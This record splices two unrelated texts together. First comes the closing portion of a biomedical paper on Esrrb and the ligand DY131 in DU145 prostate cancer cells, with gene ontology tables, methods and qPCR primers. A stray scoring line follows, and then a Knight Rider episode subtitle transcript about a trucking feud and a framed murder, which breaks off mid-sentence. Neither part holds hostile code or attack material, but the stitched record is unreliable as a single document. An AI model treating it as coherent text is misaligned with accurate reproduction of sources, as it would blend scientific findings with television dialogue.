process140.013GO:0022613 \~ ribonucleoprotein complex biogenesis140.038GO:0016042 \~ lipid catabolic process150.013GO:0006457 \~ protein folding150.016GO:0034470 \~ ncRNA processing150.025GO:0022900 \~ electron transport chain160.000GO:0032940 \~ secretion by cell160.026GO:0016054 \~ organic acid catabolic process170.000GO:0046395 \~ carboxylic acid catabolic process170.000GO:0034660 \~ ncRNA metabolic process190.008GO:0006631 \~ fatty acid metabolic process210.000GO:0046903 \~ secretion220.014GO:0006414 \~ translational elongation250.000GO:0008610 \~ lipid biosynthetic process260.002GO:0006091 \~ generation of precursor metabolites and energy310.000GO:0006412 \~ translation380.000GO:0016192 \~ vesicle-mediated transport390.003GO:0055114 \~ oxidation reduction540.000Term (up-regulated genes)CountP valueGO:0002220 \~ innate immune response activating cell surface receptor signaling pathway20.045GO:0048712 \~ negative regulation of astrocyte differentiation20.045GO:0000724 \~ double-strand break repair via homologous recombination30.020GO:0000725 \~ recombinational repair30.020GO:0045987 \~ positive regulation of smooth muscle contraction40.001GO:0045933 \~ positive regulation of muscle contraction40.002GO:0006940 \~ regulation of smooth muscle contraction40.009GO:0050768 \~ negative regulation of neurogenesis40.015GO:0010721 \~ negative regulation of cell development40.018GO:0006937 \~ regulation of muscle contraction40.050GO:0048704 \~ embryonic skeletal system morphogenesis50.004GO:0048706 \~ embryonic skeletal system development50.012GO:0031344 \~ regulation of cell projection organization50.019GO:0007411 \~ axon guidance50.035GO:0051258 \~ protein polymerization60.000GO:0043623 \~ cellular protein complex assembly60.039GO:0050767 \~ regulation of neurogenesis60.042GO:0048705 \~ skeletal system morphogenesis70.002GO:0060284 \~ regulation of cell development70.031GO:0007018 \~ microtubule-based movement80.000GO:0051960 \~ regulation of nervous system development80.007GO:0006916 \~ anti-apoptosis80.010GO:0007017 \~ microtubule-based process80.027GO:0001501 \~ skeletal system development90.031GO:0006917 \~ induction of apoptosis90.031GO:0012502 \~ induction of programmed cell death90.032GO:0045596 \~ negative regulation of cell differentiation100.001GO:0040008 \~ regulation of growth100.017GO:0043066 \~ negative regulation of apoptosis100.021GO:0043069 \~ negative regulation of programmed cell death100.023GO:0060548 \~ negative regulation of cell death100.023GO:0022403 \~ cell cycle phase100.049GO:0006928 \~ cell motion120.021GO:0042127 \~ regulation of cell proliferation170.018GO:0042981 \~ regulation of apoptosis180.011GO:0043067 \~ regulation of programmed cell death180.012GO:0010941 \~ regulation of cell death180.012GO:0006355 \~ regulation of transcription, DNA-dependent290.047GO:0051252 \~ regulation of RNA metabolic process300.038GO:0006350 \~ transcription430.000GO:0045449 \~ regulation of transcription480.001 Discussion {#Sec6} ========== Esrrb has gained lots of attention in recent years because of its biological function in stem cells and its ability to reprogram somatic cells to iPSC with oct4 and sox2 \[[@CR6], [@CR13], [@CR17]--[@CR21]\]. Several other functions of Esrrb have also been discovered including alteration of energy balance, estrogen receptor and glucocorticoid receptor transcription function modulation, Keap1-Nrf2 signaling inhibition, and tumorigenesis in prostate cancer and endometrial adenocarcinoma \[[@CR9]--[@CR12], [@CR22]--[@CR25]\]. But transcriptome-wide Esrrb function and Esrrb-regulated genes in cancer cells are not well studied. Esrrb was reported by Chan et al. as a tumor suppressor in DU145 and LNCaP prostate cancer cells using both in vitro and in vivo models \[[@CR9]\]. Expression of Esrrb induced p21/cdkn1a by directly binding to an ERRE in p21/cdkn1a's promoter, arrested cell cycle at S-phase, and significantly inhibited cell growth \[[@CR9], [@CR26]\]. Interestingly, we did not find p21/cdkn1a up-regulation after Esrrb expression alone, but after we treated DU145 cells with 3 μM DY131, we observed a significant increase of p21/cdkn1a mRNA (Table [3](#Tab3){ref-type="table"}; Additional file [2](#MOESM2){ref-type="media"}: Figure S1). Scrutinizing the data revealed that Chan's lab cultured their cells with full serum, while we used charcoal-stripped serum for cell culture and DY131 treatment \[[@CR9]\]. This implies that there is a compound or factor that can be removed by charcoal treatment modulated Esrrb's activity \[[@CR27], [@CR28]\]. From the Esrrb-regulated gene list, we found a few target genes that are related to the known function of Esrrb. Kiaa1199 encoded gene product has been shown to associate with cellular mortality. A kiaa1199 mutation was reported to relate to nonsyndromic hearing loss. Considering the significant effect of Esrrb mutations on human hearing loss, kiaa1199 could be a mediator of Esrrb mutant related hearing loss \[[@CR29]--[@CR32]\] \[[@CR33]--[@CR36]\]. Another interesting Esrrb responsive gene is tagln (Transgelin). It was inhibited by Esrrb while DY131 treatment relieved the inhibition. Tagln was reported to promote DU145 cell migration and invasion, indicating Esrrb can also affect DU145 cell behavior by affecting tagln \[[@CR37]\]. Judging by the numbers of altered genes induced by Esrrb with or without DY131, and the result that DY131 did not alter any mRNA in the absence of Esrrb, we conclude that DY131 activity is Esrrb-dependent. Conclusions {#Sec7} =========== In conclusion, we characterized the transcriptome alteration induced by Esrrb expression as well as Esrrb with its ligand DY131 in prostate cancer cells. We conclude Esrrb-target synthetic ligand requires Esrrb to generate its gene expression modulation effect. Finally, analysis of Esrrb target genes indicates Esrrb may be an important factor in regulating cell proliferation. Methods {#Sec8} ======= Cell culture and reagents {#Sec9} ------------------------- DU145 (ATCC Number: HTB-81) and HEK293 (ATCC number: CRL-1571) cells were obtained from the American Type Culture Collection (ATCC). DU145 cells were cultured in RPMI1640 media (Invitrogen, Grand Island, NY, USA) with 10 % Fetal Bovine Serum (FBS) (GE Healthcare Life Sciences, Logan, UT, USA). HEK293 cells were cultured in Eagle's Minimal Essential Medium (DMEM) (Invitrogen, Grand Island, NY, USA) with 10 % FBS. 70 % confluent DU145 cells were transfected with either pcDNA3.1-zeo (+)-Esrrb expression vector \[[@CR4]\], or control empty vector pcDNA3.1-zeo (+) (Promega, Madison, WI, USA). Empty vector or Esrrb expression vector transfected DU145 cells were maintained in medium containing 150 μg/ml Zeocine (Invitrogen, Grand Island, NY, USA) for 3 weeks for selection. Two biological replicates of DU145 cells transfected with Esrrb were pooled together respectively and were named DU145-Esrrb. Two biological replicates of DU145 cells transfected with control vector were pooled together respectively and were named DU145-pc3.1. Total RNA and protein were collected from cells after they are confluent in 60 mm petri dishes, cultured with phenol-red free RPMI1640 with 10 % Charcoal-stripped FBS \[[@CR38]\]. For DY131 (Tocris Bioscience, Bristol, UK) treatment, cells are plated in 60 mm petri dishes until confluent; DU145-pc3.1 and DU145-Esrrb are incubated with 3 μM DY131 diluted in medium with charcoal-stripped FBS for indicated length of time. Western-blot {#Sec10} ------------ Total protein was isolated from DU145-pc3.1, and DU145-Esrrb cells. 20 μg protein was loaded on 9 % SDS gels. After the proteins were transferred to nitrocellulose membrane, the membrane was blocked and then incubated with 1:2000 diluted monoclonal anti-Esrrb mouse IgG (R&D system, Cat. no: PP-H6705-00) and 1:2000 diluted polyclonal anti-GPADH rabbit IgG (Santa Cruz, Dallas, TX, USA, Cat. no: sc-25777) at 4 degrees overnight. The membrane was then washed and incubated with anti-mouse or anti-rabbit secondary antibody. Chemoluminescence (Promega, Madison, WI, USA) signals were collected using x-ray films (Fisher Scientific, Pittsburg, PA, USA). Reverse transcriptase PCR and quantitative PCR {#Sec11} ---------------------------------------------- Total RNA was isolated and purified from DU145-pc3.1 and DU145-Esrrb using RNeasy kit (Qiagen, Venlo, Netherlands). 1000 ng of total RNA was used to create cDNA libraries using Superscript III Reverse Transciptase with random primers and oligodT (Invitrogen, Grand Island, NY, USA). Esrrb mRNA concentration was determined using quantitative PCR (qPCR) (iQ SYBR, BioRad, Hercules, CA, USA) on ABI7500 system (Applied Biosystems, Foster City, CA, USA). PCR condition: 95°, 30 s; 60°, 40 s; 72°, 40 s. Each qPCR test was performed three times on each of the two biological replicates. Primer sequences: zcwpw2 (Genbank: NM_001040432): forward primer: AACAGGGTTGTCTGTGAGACGGA; reverse primer: TGCAGGAGCTTCTGGGCTGC. hoxb8 (Genbank: NM_024016): forward primer: GATGCGCC CGCAAGCAGC; reverse primer: CCCAGGGCGTGCGATACCTC. tagln (Genbank: NM_001001522): forward primer: ATGCCCCGGATGACTTGGCT; reverse primer: GCCATGTCTGGGGAAAGCTCCT. f13a1 (Genbank: NM_000129): forward primer: TGTTCCGTGAAATCCGGCCC; reverse primer: TGCACGTCCAG CTCGCCATA. pxdn (Genbank: NM_012293): forward primer: GCAAGCATTTAA GGGACTTGCCTCT; reverse primer: GCAAAAATAGCCTCTCGAGCTTCGG. aox1 (Genbank: NM_001159): forward primer: TACGTGAACGGCCGCAAGGT; reverse primer: TGGCTGGGTGATGCCTTATCCT. bmp4 (Genbank: NM_001202): forward primer: CCACCACGAAGAACA TCTGGAG; reverse primer: GCCCCTTTCCCAATCAGGGC. tgfβ: (Genbank: NM_000660) forward primer: AGTGGACATC AACGGGTTCAC; reverse primer: CGCACGCAGCAGTTCTTCTC. gapdh: (Genbank: NM_001256799); forward primer: ACCCACTCCTCCACCTTTG; reverse primer: CTCTTGTGCTCTTGCTGGG. Esrrb: (Genbank: NM_004452) forward primer: CAAGAAGCTCAAGGTGGAGAAGGAGGAG; reverse primer: CGGTCTGTCC GTTTGTCTGTCTGTAGGT. Esrrg: (Genbank: NM_001134285) forward primer: ACCATGAATGGCCATCAGA A; reverse primer: ACCAGCTGAGGGTTCAGGTAT. Deep sequencing and differentially expressed genes {#Sec12} -------------------------------------------------- 2500 ng total RNA from two biological replicates was used to generate cDNA libraries using TruSeq Stranded mRNA Sample Preparation kits (Illumina, San Diego, CA, USA). RNA quality and fragment sizing of cDNA library were determined by the University of Missouri DNA core. Deep sequencing was performed by the MU DNA core using Illumina HiSeq 2000 following the manufacture's instruction. Briefly, samples (8 total) were pooled into one lane with each sample annealed to a specific indexed adaptor. 50 bp single end reads were generated. For each sample, approximately 18 million reads were generated in.fastq format (NCBI-GEO, accession number: GES71208). The sequencing reads were trimmed and filtered using FASTX-Toolkit (V 0.0.13) (<http://hannonlab.cshl.edu/fastx_toolkit>), and mapped to genome (UCSC hg18) using TopHat2 \[[@CR39], [@CR40]\]. Gene expression values were determined by gene raw read counts using an in-house tool MULTICOM-MAP \[[@CR41]--[@CR43]\]. Raw reads were normalized to each sample's library size and differentially expressed genes were calculated using R/Bioconductor package edgeR \[[@CR44]\]. Specifically, we kept the genes that have at least 1 count-per-million (cpm) in at least 2 samples and computed the effective library sizes. Pairwise gene expression tests were carried out using exact test. Differentially expressed genes were determined by log2 fold change (Log2FC) (Log2FC ≥ 1, or Log2FC ≤ −1), p value (p \< 0.05) and false discovery rate (FDR \< 0.05) \[[@CR45]\]. Gene set function enrichment {#Sec13} ---------------------------- Gene ontology (GO) analysis was performed using DAVID bioinformatics sources 6.7 \[[@CR46], [@CR47]\]. Differentially expressed genes from certain pairwise comparisons were uploaded to DAVID server (<http://david.abcc.ncifcrf.gov>) and GO analysis were performed for biological process (BP). Minimum counts were set as default value (two counts) and maximum EASE score (p value) was set to 0.05. Differentially expressed genes pathway enrichment analysis was performed using Kyoto Encyclopedia of Genes and Genomes (KEGG) pathway \[[@CR48], [@CR49]\]. Gene expression profiles Spearman ranking correlation analysis was analyzed using R (version 3.0.2). Gene expression heat map and hierarchical clustering were created by R/Bioconductor (version 2.13) package gplot. Statistical analysis {#Sec14} -------------------- qPCR experiments were performed in triplicate on both biological replicates. T test was employed to statistically analyze whether the differences in gene expression is significant (p \< 0.05). Statistical significance of gene set overlap (Venn Diagram) are tested according to previous reported method \[[@CR17]\]. Availability of supporting data {#Sec15} =============================== The data sets supporting the results of this article are available in the NCBI-GEO repository, accession number: GSE71208, URL: <http://www.ncbi.nlm.nih.gov/geo/query/acc.cgi?acc=GSE71208>. Additional files {#Sec16} ================ 10.1186/s12867-015-0049-1 DY131-activated Esrrb regulates p21. Figure S2. Full gel images.10.1186/s12867-015-0049-1 Gene ontology analysis result. Table S2. Esrrb expression with DY131 treatment (control vs. Esrrb + DY131). Esrrb : estrogen related receptor beta ERRE : estrogen related receptor response element SFRE : steroid factor response element iPSC : induced pluripotent stem cells OSKM : Oct4, Sox2, Klf4, cMyc FBS : fetal bovine serum RT : reverse transcriptase KEGG : Kyoto encyclopedia of genes and genomes GO : gene ontology FC : fold change Esrrg : estrogen related receptor gamma YL established the model cell line and performed RNA isolation, Esrrb expression status test, western blot, cell growth assay, differentially expressed gene analysis, functional enrichment of gene sets by GO and KEGG pathway, construct gene regulation network and statistical analysis. YL, JL, JC performed sequence alignment and generated the gene expression count table for RNA-seq data analysis. YL and DBL conceived of the study, participated in its design and drafted the manuscript. All authors read and approved the final manuscript. Acknowledgements {#FPar1} ================ We thank Dr. Wei Zhou for cloning Esrrb. We also thank Nicholas Starkey, Benjamin Merideth and Yufei Li for helpful discussions. This publication or project was made possible in part by Grant Number P50AT006273 from the National Center for Complementary and Integrative Health (NCCIH), the Office of Dietary Supplements (ODS), and the National Cancer Institute (NCI). Its contents are solely the responsibility of the authors and do not necessarily represent the official views of the NCCAM, ODS, NCI, or the National Institutes of Health. Competing interests {#FPar2} =================== The authors declare that they have no competing interests.	Low	[ 0.519704433497536, 26.375, 24.375 ]
"This job is worth $10,000." "And I could go up for murder." "Janetti's brake lines were cut." "Give me Michael to drive the Flynn truck." "KlTT, I'm blind!" "Micro jam the brakes!" "(KITT) I can't." "I suggest you abandon." "We can pull this whole thing off with the produce delivery contract... that Joe set up." "I want those independents." "(KITT) Michael, there are two more vehicles moving toward the rear of the convoy." "[car tires screeching]" "(male narrator) Knight Rider, a shadowy flight into the dangerous world of a man... who does not exist." "[beeping]" "Michael Knight, a young loner... on a crusade to champion the cause of the innocent... the helpless, the powerless... in a world of criminals who operate above the law." "[beeping]" "[truck door shutting]" "[people chattering]" "[grunting]" "Come on, get up you creep." "You turned over on us." "You're worse than a traitor." "Calm down, Joe." "I'm trying to make a living." "We used to be friends." "Not anymore." "Come on." "[both grunting]" "(Dial) Take it easy, Joey." "Slow down." "This ain't life or death." "There's no war." "I'm still going to kill him." "You're dead, Janetti." "I know your route." "I know your schedule." "I'll find you and run you off the road." "Come on, Flynn." "Now come on, Phil." "Get out of here, you'll cool down." "I only left your lndependents 'cause I was about to lose everything." "I need the security of Shatner Trucking." "(Janetti) I have a family to support." "And Shatner's gonna put you all out of business." "Now we would have gone down together." "You're a traitor." "Yeah?" "Tell it to my grocer, Joe." "He deals in cash." "(Curtis) Now look here, Mr. Shatner." "I don't mind keeping my eyes on Independents, but... this is a little bit out of my line." "Nothing is out of line if I'm willing to pay the price... (Shatner) and you want to earn it." "This is a perfect chance to get rid of Flynn... and break the back of the whole independent operation." "But killing Janetti...." "I mean, I could go up for murder." "Not if you stage it correctly." "The one they'll grab will be Flynn." "I don't know, Mr. Shatner." "Don't you have other guys around to do this?" "This job is worth $10,000." "Maybe even an additional bonus when I control the area trucking." "(Shatner) Flynn is the energy and the brains... behind the whole Independent move." "If he gets arrested, he'll lose most of that support." "Then it'll work, Curtis." "Well, Janetti has a pick up and delivery in the hills." "That's the best place to do it." "Whatever you say." "[beeping]" "[screaming]" "(man on radio) This is Eugene Hansen with a KNX morning traffic report." "The good news is all of you... eastbound on the 607 freeway... are excused from being on time to work today." "The bad news is a three-car collision which has traffic...." "How did you let me get into this, anyway?" "(KITT) Sorry, but you were driving." "I know, I know, but why is this happening to me?" "Well, to tell you the truth this is called the morning traffic jam." "It's not an hour you're usually involved with." "You're usually going in the opposite direction." "However, we've only got 15 minutes to meet Devon." "KlTT." "Yes, Michael?" "Can you get me out of this traffic jam?" "May I drive?" "Well, it is against all Foundation regulations, but... I won't tell Devon, if you won't tell Devon." "I won't tell Devon." "Be my guest." "[laughing]" "Have I told you you're the greatest lately?" "Not lately, Michael." "(Devon) Michael, it's the simple matter... of a group of small operators... being swallowed up by a larger organization." "Shatner Trucking has done it very successfully before in the Midwest... with disastrous results." "Except in this case... the lndependents were being held together by Joe Flynn." "He's wanted for the murder of one of the Shatner drivers." "A man named Janetti." "(Bonnie) Yeah, Flynn threatened Janetti and four hours later..." "Janetti's brake lines were cut." "But with what's been going on over this past month... we're not sure that Flynn did it." "And although he's a brawler and a hothead... he's also the sole support of his family." "And he's the one man that Shatner has got to get rid of." "Excuse me, Devon." "You said the past few months?" "You've been involved in this situation that long?" "Well, we've been monitoring it rather than being involved in it." "Somebody's broken our code." "We've been getting messages on the computer." "No kidding." "Who's been sending them?" "We don't know." "Shatner is apparently planning to repeat his Midwest coup." "There's no federal or state authority investigating, and I believe that we should." "You both know that Joe Flynn could be guilty." "(Devon) Yes, I'm sure that is possible." "You find him, put him in a safe place, then prove the case." "Guilty or innocent." "Now, it sounds to me, you two are personally involved in this." "Isn't that a strict rule of The Foundation:" "No personal involvement?" "Michael, our code has been broken." "I got you." "Anything else?" "Yes, respect your equipment." "Be careful." "That too." "[engine starting]" "[birds chirping]" "(KITT) They had three rigs when the father was still alive." "Flynn is down to one, and operating out of his garage." "Michael, you're being scanned by an electronic beam." "A harmless but effective alarm system." "Gotta be a guard around here somewhere." "Damn right there is." "Now, freeze." "Take it easy. I just want to ask you a few questions." "is that so?" "Well, you better not be from the cops, or from Shatner Trucking... and we shoot burglars in this neighborhood." "I'm none of the three." "Now, can I have a little conversation... instead of looking at the barrel of that thing?" "[detector beeping] Take it easy, junior." "I'm not armed." "I'm no junior. I'm a girl." "He's got nothing on him, but some sort of wrist radio." "That's no regular metal detector, is it?" "She's no regular kid." "Now what do you want?" "I'm from The Foundation for Law and Government." "I'm here to investigate an incident involving Joe Flynn." "My son's innocent." "Your name Devon Miles?" "No." "No, it's Michael Knight." "How do you know Devon?" "I'm the one who's been sending him messages." "By computer?" "Once you break the code, all you gotta know how to do is type." "I do 80 words a minute." "You gonna help us out?" "I'm willing to try, but I gotta talk to Joe first." "You're going a little too fast." "Talk to Shatner." "I'm sorry, but Shatner's not the one wanted by the police." "You just became a burglar again." "Get off my property." "The longer Joe is on the run... the longer it's gonna take to get to the bottom of this." "Now, I'm telling you, I need to talk to your son." "Get out of here." "(KITT) That's an aggressively close-knit family, Michael." "That's why they know where Joe is." "Put a tap on their phone." "[beeping]" "So, what else does this car do besides look hot?" "Well, it's a lot more than a car." "(KITT) Thank you, Michael." "Voice modulator?" "That's great." "Will it give verbal response to major mathematical computations?" "Of course." "You gonna put my brother in jail?" "I said I was here to help." "You seem like an okay guy." "You know, you're a pretty bright girl." "(Michael) You got The Foundation's attention." "Cute, too." "You're teasing me." "That's what my brother always does." "I know I'm not pretty." "Yeah, you are." "(Mama Flynn) Flynn Trucking." "(Flynn) Hello, Mom." "It's Joe." "You're tapping our phone." "You're no friend." "You're a creep." "[car tires screeching]" "(Mama Flynn) Joey, you okay?" "(Flynn) I'm okay, Mom." "(Sally) Michael Knight had the phone tapped." "He's gonna know where Joey is." "Joey, get out of there." "A big guy in a black T-top is on his way to get you." "(Sally) Get going right now." "He's on his way." "(KITT) Sorry, Michael." "I know, partner, I know." "Look, backtrack that call and see if you can give me a location, will you?" "It's about a mile from here." "ETA, 40 seconds." "(KITT) Michael, there's Flynn's rig up ahead." "(Michael) Thanks, buddy." "[car tires screeching]" "We're going around him." "(KITT) You'll be cutting it close, Michael." "The road is too narrow." "We'll make it work for us." "[beeps] [car tires screeching]" "[exhales]" "Nice work, buddy." "Now just one more thing." "[car tires screeching]" "Michael, are you testing our courage, or my superstructure?" "[tires screeching]" "Would you like to know exactly... how close that truck is to us, Michael?" "Absolutely not." "Now, cool it." "If you wanted to kill me, you would've flattened me with the truck." "You from Shatner?" "No." "Not from Shatner or the police." "Now all I want is a little conversation." "(Flynn) Then why are you twisting my arm?" "'Cause I think you'd rather fight than talk." "All right, fair enough." "Let me go." "No more fighting." "I'm not gonna believe that." "Hey, I'm no liar and I'm no murderer." "All right. I'll deal with one thing at a time." "You'll have to deal with me first." "You just went from burglar to mugger." "Now, get your hands up and turn around." "Need a little diversion here, partner." "Of course, Michael." "[police siren wailing]" "This is the police." "You're surrounded." "All right." "I think we've had enough ambushes for one day, don't you?" "Oh, where are the police?" "(Sally) There are none, Mom." "It's that car of his." "It's something special." "It isn't special enough to take on three Flynns." "Enough!" "All you people do is fight?" "(Michael) So far all it's gotten you is a warrant for murder... and a license for Shatner to hunt you down." "Now, how about a little honest conversation for a change?" "Talk to me, Joe." "Look, I didn't cut Janetti's brakes. it's not my style." "Janetti pulled into the depot yard with full set of brakes." "When he pulled out, he was pumping air instead of brakes." "You were there at that depot when he was there." "I'm a trucker." "They have loads there." "You didn't have a load that day." "Come on, tell me the truth." "What were you doing there?" "I went to see Janetti." "I had to talk to him, had to apologize." "I shouldn't have hit him." "But I didn't kill him." "I'm innocent." "I don't know about that." "But I don't know you're guilty, either." "Who are you anyway?" "My name is Michael Knight." "I'm from The Foundation for Law and Government." "I've been sent here to make sure you're kept in a safe place... until I can get a handle on what's coming down here." ""Safe place." l think I know where that is." "All right, all I can say is you gotta trust me." "Doesn't look like I have much choice, does it?" "You do now." "Put this away." "All right, I'll go in with you." "Me, too." "No, stay here with Mom." "But I want to go." "I'll be all right." "(Sally) Pull over." "That's the car l'm looking for." "Thanks." "(KITT) Hold it, Sally." "The only thing you'll damage is your foot." "Shut up. I knew he was lying." "Nobody tells the truth." "You can't trust anything you don't program yourself." "Not true." "Who programmed you to argue?" "I don't argue, Sally, I merely correct improper calculations." "You can trust Michael Knight." "Yeah, says you." "He turned in my brother." "Now, listen, little girl." "I think I like you... but not if you won't keep an open mind when it comes to Michael." "He's a fair man." "What makes you so smart?" "I have computers that are pushed up to handle over two million K's." "What's your capabilities?" "Unlimited." "I now have over 50 million K's in storage... and can introduce one million more every day, if needed." "Tap into my equipment and we'll talk sometime." "Anytime, Sally." "But if you wait for Michael, I can arrange a guided tour... of my backup and design headquarters." "You expect me to be nice to him?" "Just be fair with him." "He'll help your brother if he can." "I don't know." "Sit down and relax, and we'll wait for Michael." "(Curtis) Relax, Mr. Shatner." "You'll just mess up your stomach again." "You're a rich man." "You've got nothing to worry about." "I didn't get rich by squandering my money or wasting my time... and I'm not about to let you do it for me." "And it doesn't cost me any more money... to get value for my dollar." "Like what?" "(Shatner) You are earning fat paychecks." "You got a $10,000 bonus for handling Janetti." "I want control of all trucking in this area." "I figured with Flynn out of the way there'd be nothing to stop us." "Don't figure, don't think, don't make decisions, and above all... don't tell me how to make a profit on my investments." "Now, you get out there... and make sure those independents... stay disorganized." "I don't want them even thinking they can pull together for the crop season." "I want that contract with Linden." "Finish Flynn's operation once and for all." "What are you waiting for?" "Car fare?" "Get back to your indie friends, so we know when and where to hit." "You're a Flynn, all right." "Now take it easy!" "You're a liar." "You turned in my brother." "I told him I'd keep him in a safe place... until I looked into this mess." "Now, he is safe." "In jail." "Don't con me." "You just wanted to see him arrested." "No, you're wrong." "Now, I'm not positive about anything yet... but if your brother is innocent and people are after these truckers... this could bring it out in the open." "I don't know anything about that stuff." "All I know is that you took Joe in and he was framed." "Sally, if your brother was framed, there are people who want to put him away real bad." "Now, if he's out there running loose like a wanted man... they have a license to kill him." "Joe is very safe in there." "Believe me." "Why don't you come with me?" "I want you to meet some other friends who want to help." "Come on." "(Michael) You might say that Bonnie is KlTT's mother." "She takes care of him... with all the maternal love and the ferocity of a tigress." "(Bonnie) Michael's kidding." "KlTT is his. I just put him back together again." "And Michael gives her a great many opportunities to do so." "Joey would love to see all of this." "He still doesn't have a lot of faith in computers or any of that technology... in spite of the fact that I.... in spite of what?" "Oh, nothing." "Excuse us." "Step into my office here." "You set everything up, right?" "Me?" "What?" "I checked the schedules and loading capacities... of the lndependent deliveries." "They were to the minute, and they were to the ounce." "You did that." "My brother Joe runs the family business." "Sure he does." "You can't tell anyone." "You have to promise not to." "I think it's something you should be proud of." "Yeah, right." "Try and convince a bunch of truckers... that a 15-year-old girl is running their schedule." "(Sally) Those guys listen to Joe, and they really look up to him." "Besides, he's the best." "I'm sure he is." "But, you know, you're not so bad yourself." "And you got him in jail." "We're going to lose everything we worked for." "We were counting on Joe to keep things going... until after we made the crop season." "Then we'd be home free." "Well, we're willing to do everything we can to help you." "You too?" "Of course." "Then give me Michael to drive the Flynn truck." "Wait a minute, I already got a job." "Hey, I'm talking to your boss." "I think it can be arranged." "Great." "All right, listen up." "You'll get union wages, profit participation, and supplemental health benefits." "(Sally) But you better be clear about one thing." "I think I know." "You're the boss." "You got it." "(Sally) Then you pick up at the train yards... for an intermediate drop at Armorbuilt." "Got it?" "Over." "I got it, Boss." "Say, does a lunch break enter into any of our schedules?" "Eat it on the move." "Out." "Out." "Hey, you hungry back there, partner?" "(KITT) Perhaps a little lonely, Michael... but rather enjoying my independence." "And if I may say so, that schedule that Sally laid out... is well planned and fiscally sound." "In fact, it's excellent." "Easy for you to say, you're not driving." "Yes, I am, Michael, and without union benefits." "Don't worry, you'll be on a coffee break in just a couple of minutes." "I'm stopping by the truck stop to see Mama Flynn." "What about your schedule?" "We'll work overtime." "Easy for you to say." "If you were on our side, you wouldn't have had Joey put in jail." "(Michael) He's gotta face that charge... or he's gonna end up running from the cops for the rest of his life." "We would've covered for him, kept the association going." "Now he didn't kill Janetti." "Then why don't you do something about both of those problems?" "That's just so much talk, man." "We're through as independents." "We might as well save our breath." "(men) Oh, yeah, yeah." "Come on, come on." "Come on, guys." "At least listen to him." "(man) What for?" "I've got more to lose than any of you... and I don't see anybody else rushing forward to do us any favors." "(Curtis) Oh, yeah?" "We're done, and so we might as well just forget it." "You're not done unless you're just looking for excuses to give up." "(Michael) The way I figure it, there's still a chance... of keeping this whole group together." "That is, if you guys really want to." "I'd be real careful with your words now, mister." "You're about one sentence away from insulting me." "It's about time I got you guys to listen." "We can pull this whole thing off with the produce delivery contract that Joe set up." "(Michael) We got enough people in this room... to meet the original date... and the full season delivery." "(Burgers) We've only got 24 hours." "Without Joe. lt's not worth it without him." "I'd just as soon repaint my rig with Shatner's colors." "He's right, big guy." "We could all end up like Joey." "Well, I think Joey is innocent." "Well, we all do." "So what?" "I think I know who did it." "What?" "(Burgers) Who?" "Well, that's gonna take a couple days to prove." "In the meantime, don't you think it would be nice... to keep the lndependent truckers alive while I'm at it?" "Be a nice present for Joey, once he gets out of jail, huh?" "[crowd agreeing]" "Hold it there." "Now we're gonna make that produce delivery... but you got some delivering to do yourself." "I intend to." "[radio beeps]" "(KITT) Michael, I think you did very well in there." "Well, thank you." "But there are other possible problems... one of which is you've replaced Joe Flynn as a target." "Yeah, I know." "I believe Joe's innocent, partner." "Based on what?" "Him, his family, his friends..." "Shatner's history." "Most of all, my instincts." "What do you think?" "I deal in facts, but I also trust your instincts." "Thank you." "(KITT) Michael, what is it?" "I can't get a reading." "KlTT, I'm blind!" "Micro jam the brakes!" "I can't or you'll fishtail." "I suggest you abandon." "If I bail out, we'll lose the rig." "And live to fight another day." "Michael, please." "I got the message." "[engine revving]" "[beeping]" "Now, Michael." "All right, micro jam the brakes. it's worth the gamble now." "[beeping]" "[brakes screeching]" "We were very lucky, Michael." "Lucky to have you, partner." "(Sally) The whole brake system is shot." "Downtime is rated at 4% of total working days." "You are out one day and you lose a complete rig." "It's gonna take weeks just to get the parts." "As of now, your overall safety record is rated as poor to uninsurable." "You're fired." "I'm fired?" "Look, I'm sorry about the truck." "The truck won't make any difference now that we've lost." "We can't make the produce run, and there's no way the guys will hang in now." "[door opening] [door closing]" "They gotta hang in there." "They don't like to give up." "Did you do what I asked?" "I've known those men for years." "Any of those men could be the man who framed Joe." "Curtis was the only one who left the meeting early... and he had time to put the bomb in your rig." "Well, well, well." "I've managed to stir things up." "You've managed to make yourself a target." "Don't worry about me." "I wanna do this for you and Sally." "I don't want her to lose any more." "She lost her father when she was two." "Any chance of growing up in frilly dresses by the time she was five... and now her brother, and her business by 15." "You're important to her." "I don't want her to lose you, too." "I don't plan on that, either." "You mind if I talk to her?" "Thanks." "Hold it." "Hold it!" "Get in the car." "Now we are going to talk." "You know what you get for stealing kids?" "I only borrowed you... and I got your mother's permission." "Okay, so you got me." "What are you going to do?" "Put me in a safe place... like you did my brother?" "I'm going to try and explain things to you once more." "Forget it. I'm not listening." "(Sally) You're a loser." "Sally." "You're a loser." "You got any suggestions, KlTT?" "(KITT) Children should be treated with great patience... reasoned with and educated so that they can be... brought slowly into maturity and a solid relationship with society." "I don't have all that much time." "Then I suggest a firm, but kindly spanking." "Oh, so you're going to beat me up just 'cause some computer tells you to?" "You. I thought you were my friend." "Spanking?" "You know, buddy, that's not a bad idea." "Wait." "Come here." "You're not really going to do it, are you?" "Of course I'm not." "You know, nobody but Joey ever spanked me." "And he was like you." "He only threatened." "Well, if he's a little bit like me, then maybe, just maybe... I'm a little bit like him." "Yeah." "You're a lot like him." "It's just...." "I don't know." "What?" "Hey, it's okay to be scared." "We're gonna lose the house and the truck, and there's not gonna be anything left." "It's not right." "And even you and that fancy Foundation can't help us." "I am gonna help." "I am gonna help." "You know why?" "Because I care about you." "I care about you, and I care about your mama... and I care about your brother, Joe." "Now, I'm betting everything that I can deliver for you." "All you've got to do is one simple little thing." "Trust me." "That's it." "How about it, cutie?" "That's my girl, that's my girl." "(Shatner) There is no Joe Flynn... or an independent organization for you to deal with, Linden." "Well, I still have an arrangement." "I have been dealing with the Flynn family for years... and I gave my word." "And they gave theirs." "They said they'd deliver and they can't." "You've got over 100 tons of produce in... every day starting tomorrow." "You truck with me or it'll sit in here and rot." "Can you afford that?" "You know I can't, Shatner." "That would put me and lot of farmers out of business." "Then you should sign for the season's crop now." "'Course, doing business with a reputable firm... it is a little more expensive." "About 15%." "I can't manage that much." "Then don't pay it." "The Independents will deliver your crop at the quoted price." "Who are you?" "For the sake of conversation, why don't you call me Flynn." "Flynn is finished." "You must be looking to join him." "Now, you tried that and you couldn't pull it off." "I'm here to confirm, Mr. Linden." "Mama Flynn said that you could deal for her... and I'd like to help." "But I represent a lot of people and I'm responsible to them." "You got the message, big boy." "Bye-bye." "Sign both-- What if I guarantee it?" "Guarantee it?" "Just how would you go about that?" "How about a completion bond?" "If you can put up a $50,000 bond by midnight... then you 